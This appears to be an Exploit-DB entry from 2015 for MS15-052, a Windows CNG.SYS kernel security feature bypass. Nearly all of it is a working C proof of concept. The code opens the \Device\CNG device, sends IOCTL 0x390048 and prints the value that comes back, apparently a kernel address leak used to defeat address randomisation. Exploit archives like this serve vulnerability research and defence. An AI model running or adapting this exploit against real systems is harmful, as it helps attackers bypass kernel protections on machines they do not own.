Microsoft Windows - 'CNG.SYS' Kernel Security Feature Bypass (MS15-052)

EDB-ID:

37052


Author:

4B5F5F4B

Type:

local


Platform:

Windows

Date:

2015-05-18


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// Source: http://www.binvul.com/viewthread.php?tid=508
// Source: https://twitter.com/NTarakanov/status/598370525132423168


#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma  comment(lib, "ntdll.lib")



int main(int argc, CHAR* argv[]) {
        typedef NTSTATUS  (__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
        NT_OPEN_FILE NtOpenFileStruct;

        PVOID Info;
        HMODULE hModule = LoadLibrary(("ntdll.dll"));
        NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
        if(NtOpenFileStruct == NULL) {
                exit(-1);
        }
        


        UNICODE_STRING filename;
        RtlInitUnicodeString(&filename, L"\\Device\\CNG");

        
        OBJECT_ATTRIBUTES obja;
        obja.Attributes        =        0x40;
        obja.ObjectName =   &filename;
        obja.Length                =        0x18;
        obja.RootDirectory        =        NULL;
        obja.SecurityDescriptor        =        NULL;
        obja.SecurityQualityOfService        =        NULL;
        
        IO_STATUS_BLOCK iostatusblock;
        HANDLE hCNG   = NULL;
        NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);
        if(NT_SUCCESS(stat)) {
                printf("File successfully opened.\n");
        }
        else {
                printf("File could not be opened.\n");
                return -1;
        }
        DWORD dwBuffer = 0;
        DWORD dwCnt           = 0;
        BOOL  bRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);
        if (FALSE == bRet)
        {
                printf("[*]Send IOCTL fail!\n");
                printf("[*]Error Code:%d\n", GetLastError());
        }
        else
        {
                printf("[*]0x%08x\n", dwBuffer);        
        }
        CloseHandle(hCNG);
        getchar();
        return 0;
}